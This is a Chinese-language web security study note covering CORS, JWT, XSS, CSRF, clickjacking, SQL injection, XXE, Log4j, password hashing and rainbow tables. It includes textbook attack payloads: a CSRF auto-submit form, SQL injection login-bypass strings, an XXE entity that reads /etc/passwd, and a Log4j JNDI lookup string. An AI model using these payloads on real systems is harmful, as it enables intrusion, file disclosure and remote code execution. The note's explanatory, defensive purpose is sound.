Skip to content

CORS (Cross-Origin Resource Sharing,跨域资源共享)

TODO:补充Spring Security关于CORS过滤器的文档和源码内容。

不同源的站点之间的相互请求会被限制。

浏览器在发起请求时,先本地判断请求是否需要跨域,如果不需要,则直接发起请求。如果需要跨域,则先使用Options方法向服务器发送一个预检请求(Preflight request),从而获知服务端是否允许该跨源请求。服务器确认允许之后,才在接下来的请求Header里加入Origin字段来发起实际的HTTP请求。

Header中的Origin字段无法手动修改,详见禁止修改的消息首部 - 术语表|MDN

流程

Flowchart_showing_Simple_and_Preflight_XHR

判定方法

同协议,同域名,同端口。

和http:// www.example.com /dir/page2.html比较。

链接结果原因
http:// www.example.com /dir/page2.html同协议,同域名,同端口
http:// www.example.com /dir2/other.html同协议,同域名,同端口
http://user:pwd@ www.example.com/dir2/other.html同协议,同域名,同端口
http://www.example.com: 81/dir/other.html端口不同
https😕/www.example.com/dir/other.html协议不同,端口不同
http:// en.example.com/dir/other.html域名不同
http:// example.com/dir/other.html域名不同(要求精确匹配)
http:// v2.www.example.com/dir/other.html域名不同(要求精确匹配)
http://www.example.com: 80/dir/other.html不确定取决于浏览器的实现方式

传统Session登录

session

JWT

流程

jwt2

JWT字段

jwt

优点:

  • 服务端不需要存储JWT,仅验证
  • 简洁
  • 分布式认证友好

缺点:

  • 无法中断用户
  • 续期难

将jwt存入redis之后可以解决上述两个缺点,但是把jwt变成有状态的了,违背了jwt初衷,和session差不多了。

XSS(Cross-site scripting)

攻击者可以利用这种漏洞在网站上注入恶意的客户端代码。若受害者运行这些恶意代码,攻击者就可以突破网站的访问限制并冒充受害者。

html
<div>
  {{微博用户评论}}
</div>

被注入的情况:

html
<div>
  <script>alert('Hello!');</script>
</div>

此时,用户输入的评论会被浏览器所执行,如果其他用户进入页面后,也会加载此评论并执行此js代码弹窗。

公司周报系统XSS漏洞,视频中攻击方法为存储型XSS漏洞:

1、提交了一串alert代码,被浏览器执行:

2、重新进入网站,当加载到存储在数据库中的、我第1步提交的alert代码,代码又会被执行:

3、这次提交一串站点跳转的js代码,被执行时自动跳到百度:

这样一来,我的周报就不能被管理员所查看,因为一旦浏览器加载到我的周报内容,就会被跳到百度去。

解决:使用escapeHTML()将内容转义

但是escapeHTML()不能转义redirect_to=javascript:,仍需要过滤。

JSON需要使用escapeEmbedJSON()进行转移。

因为XSS可以执行任何js代码,所以可以获取网站的cookie,如果被注入XSS的网站被其管理员打开,那么管理员权限就会被泄漏。

js获取cookie:console.log(document.cookie)

xss1

服务端通过对cookie设置HttpOnly,可以使js脚本无法获取cookie内容。

xss2

即使有HttpOnly,还是会有XHR操作风险,比如不能防止入侵者做AJAX提交(直接在管理员做提交)。

XSS 攻击可分为存储型、反射型和 DOM 型三种。

上面用户评论的例子就是存储型 XSS ,其恶意代码存在数据库里。

反射型 XSS 的恶意代码存在 URL 里,攻击者构造出特殊的 URL,其中包含恶意代码,用户打开带有恶意代码的 URL,服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。TODO:补充反射型 XSS 的攻击案例和防范方法。

DOM 型 XSS 的恶意代码同样存在 URL 里,攻击者构造出特殊的 URL,其中包含恶意代码,用户打开带有恶意代码的 URL,前端 JavaScript 取出 URL 中的恶意代码并执行。TODO:补充DOM 型 XSS 的攻击案例和防范方法。

CSRF

TODO:补充CSRF的防范方法。

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

举例:攻击者在B站评论区放了一个伪装为新闻的超链接,当用户点击进去之后,恶意代码会自动执行。

html
<form method="POST" action="https://www.bilibili.com/giveCoin/ewt1jmuj4ddv/" enctype="multipart/form-data">
	<input type="hidden" name="cf2_emc" value="true"/>     
	<input type="hidden" name="cf2_email" value="hacker@hakermail.com"/>     .....    
	<input type="hidden" name="irf" value="on"/>     
	<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>  
</form>  
<script> document.forms[0].submit(); </script>

上述代码就给某个视频进行了投币。

出现这种现象是因为,Cookie在同一个浏览器窗口、不同TAB标签页,会被共享。

2007年GMali因为CSRF漏洞,导致点开一个黑客的链接,所有邮件都会被窃取,https://www.davidairey.com/google-Gmail-security-hijack/,目前已被修复。

X-Frame-Options

X-Frame-Options是HTTP响应头的一个值,声明了此页面是否可以在其他页面里嵌套。

X-Frame-Options 有两个可能的值:DENY和SAMEORIGIN。

如果设置为 DENY,不仅在别人的网站 frame 嵌入时会无法加载,在同域名页面中同样会无法加载。

如果设置为 SAMEORIGIN,那么页面就可以在同域名页面的 frame 中嵌套。

因为安全原因,HTTPS网页不允许嵌套HTTP网页。

X-Frame-Options可以避免点击劫持(Click-jacking)攻击。

Click-jacking

最简单的点击劫持例子就是:用户点了一个点赞的按钮,但是却被导向了一个购物网站。

还有如下例子:

Click-jacking1

实际上,网页嵌套了百度贴吧,点击“查看详情”实际上是关注了某个贴吧。

Click-jacking2

如果百度贴吧不允许被嵌套,那么这个情况也就不会存在。

SQL注入

如果后端sql语句通过字符串拼接实现,那么很容易出现SQL注入问题。

如用户名密码验证语句为"SELECT * FROM users WHERE name='" + username +"' AND passwd='" + passwd + "'"

那么如果攻击者输入用户名为admin'#,密码输入123,那么SQL语句就变为了

sql
SELECT * FROM users WHERE name='admin'#' AND passwd='123'

可以看到,#后面的内容被注释掉了,攻击者无需知道密码即可登录。

那么如果攻击者输入用户名为qweasd' OR 1=1#,密码输入123,那么SQL语句就变为了

sql
SELECT * FROM users WHERE name='qweasd' OR 1=1#' AND passwd='123'

可以看到1=1一定为true,那么攻击者连用户名密码都不需要知道即可登录。

Sql注入也可以加入drop table语句直接删库。

现在使用的ORM框架如Hibernate和Mybatis大多会避免这个问题的发生。

XXE漏洞

如果一个请求接受的值是xml格式数据,则会存在xxe漏洞:

xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [   
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

在上面的代码中,xml外部实体 xxe 被赋值为 file://etc/passwd 内容的值(也就是paswd文件的内容),关键字SYSTEM 会告诉XML解析器, xxe 实体的值是从其后的URI中获取。

也就是说攻击者可以强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件/远程系统上的文件)。

xml
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
<!ENTITY xxe SYSTEM "file:///dev/random" >]

Log4J漏洞

TODO:补充对其漏洞的源码分析。

原理类似注入和XXE漏洞。

login
java
public void login(string name){
  String name = "${jndi:rmi:192.168.9.23:1099/remote}";  //用户输入的name内容为 jndi相关信息
  logger.info("{},登录了", name); 
}

log4j

log4j会去恶意JNDI服务获取Java的一个package并执行其下面的代码。因为Java可以构造终端窗口执行系统命令,所以此漏洞会使服务端执行任意代码包括系统命令,非常危险。

密码存储安全

密码存储方式

  • 明文

  • Hash(明文),目前显卡并行计算技术已使其不安全

  • Hash(明文+Salt),目前显卡并行计算技术已使其不安全

  • PBKDF2,1Password的密码存储方式

  • bcrypt

  • scrypt,莱特币和多吉币的工作量证明算法

PBKDF2

将明文+salt进行成千上万次的伪散列函数PRF操作输出最终值。防止密码破解工具充分利用GPU,从而将猜测率从每秒数十万次猜测降低到每秒不到几万次。

PBKDF2加密流程:

PBKDF2

破解不同组合的PBKDF2密码所需要付出的代价(来源How PBKDF2 strengthens your 1Password account password):

Generation schemeBitsCost (USD)Example
8 char, with lowercase, digits40.007702wd74wmq
7 char, with uppercase, lowercase, digits40.471,100zCm6hTb
3 syl, constant separator, capitalize one41.502,200austEerkkrug
3 word, constant separator42.484,300prithee-insured-buoyant
3 word, constant separator, capitalize one44.0713,000Dent-impanel-minority
9 char, with lowercase, digits45.0025,000azdr3oqxc
8 char, with uppercase, lowercase, digits46.2558,0008NhJqHPY
3 syl, digit separator, capitalize one48.15220,000Best0jogh2gno
3 word, digit separator49.13430,000swatch2forte1dill
10 char, with lowercase, digits50.00790,000fovav9v6ot
3 word, digit separator, capitalize one50.711,300,000saute7docket3Bungalow
9 char, with uppercase, lowercase, digits52.033,200,000siFc96vGw
11 char, with lowercase, digits55.0025,000,000aev7x9cgm3q
4 syl, constant separator, capitalize one55.2229,000,000paghdeygibFrom
4 word, constant separator56.6579,000,000align-caught-boycott-delete
10 char, with uppercase, lowercase, digits57.81180,000,000rm9gKDAyeY
4 word, constant separator, capitalize one58.65320,000,000gable-drought-Menthol-stun
12 char, with lowercase, digits60.00810,000,0008cjfqtzj7yx3
4 syl, digit separator, capitalize one65.1929,000,000,000ket5Nor0koul7toss
4 word, digit separator66.6179,000,000,000convoy2chant3calf9senorita
4 word, digit separator, capitalize one68.61310,000,000,000ultima2jagged9Absent7vishnu
5 word, constant separator70.811,400,000,000,000passion-ken-omit-verso-tortoise
5 word, digit separator84.1014,000,000,000,000,000slain9dynast5try6punch8licensee

bcrypt

可以简单理解为它内部自己实现了随机加盐处理。使用Bcrypt,每次加密后的密文是不一样的。

bcrypt流程: 先随机生成salt,salt跟password进行hash,再将salt+hash拼接获得结果,最终结果为salt+hash(password+salt)

验证流程:从hash中取出salt,salt跟password进行hash;得到的结果跟保存在DB中的hash进行比对。

加密后的格式一般为:

$2a10/bTVvqqlH9UiE0ZJZ7N2Me3RIgUCdgMheyTgV0B4cMCSokPa.6oCa

其中:$是分割符,无意义;2a是bcrypt加密版本号;10是cost的值;而后的前22位是salt值;后面的字符串是密码的密文了。

上面描述的行为并没有使bcrypt比普通的Hash(明文+Salt)更加安全。

bcrypt更加安全是因为其内部采用了慢hash算法,可以通过配置多次hash来使得每次计算特别耗时,当一次hash计算需要1秒时,暴力破解一个简单密码,如8 char, with lowercase, digits的密码需要(26+10)^8秒,即9万年。同样因为慢哈希,每次哈希的盐值不同,使得彩虹表不能复用,必须针对某密码新计算彩虹表,而计算一个8位小写字母+数字的彩虹表需要9万年,所以彩虹表攻击方法也失效。

因为bcrypt慢,所以在安全和性能之前权衡,还是要倾向于安全。

scrypt

被莱特币(Litecoin)和多吉币(Dogecoin)采用为其工作量证明算法。

scrypt不仅计算所需时间长,而且占用的内存也多,使得并行计算多个摘要异常困难,因此利用rainbow table进行暴力攻击更加困难。

scrypt没有在生产环境中大规模应用,并且缺乏仔细的审察和广泛的函数库支持。

但是,scrypt在算法层面只要没有破绽,它的安全性应该高于PBKDF2和bcrypt。

为什么MD5不再安全

MD5是哈希算法的一种,因为hash算法是固定的,所以同一个字符串计算出来的hash串是固定的,所以,可以采用如下的方式进行破解。

  • 暴力枚举法:简单粗暴地枚举出所有原文,并计算出它们的哈希值,看看哪个哈希值和给定的信息摘要一致。
  • 字典法:黑客利用一个巨大的字典,存储尽可能多的原文和对应的哈希值。每次用给定的信息摘要查找字典,即可快速找到碰撞的结果。
  • 彩虹表(rainbow)法:在字典法的基础上改进,以时间换空间。是现在破解哈希常用的办法。

另外,

  • 2004年,王小云教授提出了非常高效的MD5碰撞方法。
  • 2009年,冯登国、谢涛利用差分攻击,将MD5的碰撞算法复杂度进一步降低。

SHA-1也有碰撞情况的发生:

2017年2月23日,Google公司公告宣称他们与CWI Amsterdam合作共同创建了两个有着相同的SHA-1值但内容不同的PDF文件,这代表SHA-1算法已被正式攻破。

彩虹表

彩虹表用于破解哈希算法。

预先计算的散列链

hash-chain

H函数就是要破解的哈希函数。 约简函数(reduction function)R函数是构建这条链的时候定义的一个函数:它的值域和定义域与H函数相反。通过该函数可以将哈希值约简为一个与原文相同格式的值。

在存储彩虹表时,只需要存储链首和链尾的值,一个彩虹表可以存储无限多的个链:

aaaaaa -- kiebgt

bbbbbb -- otmwex

一个链总是记录了奇数个值,并且两端总是明文。所以链内部是连续成对的HR操作。我们认为有k对HR操作的链,记作此链的k值。如上图链k=2。

查找方法

例子一:

比如遇见一个哈希值为920ECF10,则:

  • 计算Str = R(920ECF10) = kiebgt,查看Str是否在彩虹表里面,发现在链aaaaaa -- kiebgt里面,就从头查找(反复做H和R操作)那个链,直到找到哈希值为920ECF10的字符串即可。

例子二:

比如遇见一个哈希值为281DAF40,则:

  • 计算Str = R(281DAF40) = sgfnyd,查看Str是否在彩虹表里面,发现不在
  • 计算StrHash = H(Str) = H(sgfnyd) = 920ECF10,Str2 = R(StrHash) = R(920ECF10) = kiebgt,发现在链aaaaaa -- kiebgt里面,就从头查找(反复做H和R操作)那个链,直到找到哈希值为920ECF10的字符串即可。

所以,查找彩虹表的一般方法为:

  • 先对哈希值做R操作,查找结果是否在表内
  • 对上一步得到的结果执行HR操作,查找结果是否在表内,不断重复此步,此步最多重复k-1次,如果重复k-1次仍未发现,则查找失败。

与哈希字典的不同

彩虹表并不是记录了其所出现的每一个哈希值,而是只记录首尾,同样达到了对链内部全部值的查询效果。

查询某值时,彩虹表需要两次计算:第一次确定值是否在某链内,第二次查找链以确定值。哈希字典直接查找即可值是否命中。

哈希字典:以空间换时间

彩虹表:时间-空间的平衡

彩虹表对“时间-空间的平衡”

可以发现,当彩虹表k越大,其包含的数据量就越多,也增加了一次查找的耗时。合理地选择k值,是对时间-空间的平衡,彩虹表并不是简单地“以空间换时间”,而是一种双向交易,在二者之间达到平衡。

避免碰撞

在彩虹表的构建过程中,很有可能会出现如下图的碰撞情况:

hash-chain2

图中加粗的部分,对应的明文和对应的密文是完全重复的,因此这两条哈希链能解密的明文数量就远小于理论上的明文数量2k。而不幸的是,由于集合只保存了链条的首末节点,因此这样的重复链条并不能被迅速地发现。随着碰撞的增加,这样的重复链条会逐渐造成严重的冗余和浪费。

碰撞的解决

2003年Philippe Oechslin在其论文中提出在各步的运算中,并不使用同一个R函数,而是分别使用R1...Rk共k个不同的函数。这样一来,即使偶然发生碰撞,通常会是如下情形:

hash-chain3

这样保证了即使碰撞也不会影响后续内容,即便在极端情况下,有两个链条在同一个序列位置上发生碰撞,导致后续链条完全一致,这样的链条也会因为末节点相同而被检测出来,可以丢弃其中一条而避免浪费存储空间。